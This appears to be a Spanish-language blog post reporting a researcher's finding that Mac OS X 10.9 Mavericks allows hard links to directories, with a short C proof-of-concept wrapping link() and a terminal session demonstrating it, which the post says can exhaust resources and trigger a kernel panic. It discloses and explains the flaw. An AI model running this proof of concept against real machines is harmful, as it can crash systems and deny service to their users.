
Además, los enlaces duros en los directorios conducirían a la inconsistencia en las entradas del directorio padre. La excepción confirmada es Mac OS X 10.5 Leopard, el cual utiliza enlaces duros a directorios para el mecanismo de copia de seguridad Time Machine, solamente. Conocido esto, hay que decir que el investigador Maksymilian Arciemowicz ha descubierto que en Mac OS X 10.9 se puede crear un enlace a disco provocando recursividad infinita, con un sencillo código en C. El código lo exponemos a continuación.
#include#include void usage(const char* program) { const char* message = " [src_dir] [target_dir]"; fprintf(stderr, "%s%s\n", program, message); } int main(int argc, char* argv[]) { if (argc!=3) { usage(argv[0]); return 1; } int ret = link(argv[1],argv[2]); fprintf(stderr,"link(3) return= %d\n", ret); return ret; }
El autor opina que es un fallo de seguridad y que Apple debería corregirlo, aunque Apple no ha concedido esto como vulnerabilidad y en la lista Bugtraq se ha debatido el porqué del problema: "los enlaces duros de directorios no pueden tener el mismo padre". La ejecución de dicha vulnerabilidad con el código se puede visualizar a continuación:
mac-cxs-XK:pochd XK$ gcc -o test test.c
mac-cxs-XK:pochd XK$ ls
test test.c
mac-cxs-XK:pochd XK$ mkdir DIR1
mac-cxs-XK:pochd XK$ ./test DIR1 Hardlink1
link(3) return= -1
mac-cxs-XK:pochd XK$ mkdir DIR1/DIR2
mac-cxs-XK:pochd XK$ ./test DIR1/DIR2 Hardlink2
link(3) return= 0
mac-cxs-XK:pochd XK$ cd DIR1
mac-cxs-XK:DIR1 XK$ mkdir DIR2/DIR3
mac-cxs-XK:DIR1 XK$ ../test DIR2/DIR3 Hardlink3
link(3) return= 0
mac-cxs-XK:DIR1 XK$ cd DIR2
mac-cxs-XK:DIR2 XK$ mkdir DIR3/DIR4
mac-cxs-XK:DIR2 XK$ ../../test DIR3/DIR4 Hardlink4
link(3) return= -1
Puede haber muchas consecuencias negativas que se obtienen del mal manejo del enlace duro. Se sabe que existe la vía de agotar los recursos del sistema a través de dicha vulnerabilidad, pudiendo causar bloqueos de aplicaciones, o como se produce con esta vulnerabilidad kernel panic. Habrá que esperar a una nueva actualización de OS X Mavericks.
No hay comentarios:
Publicar un comentario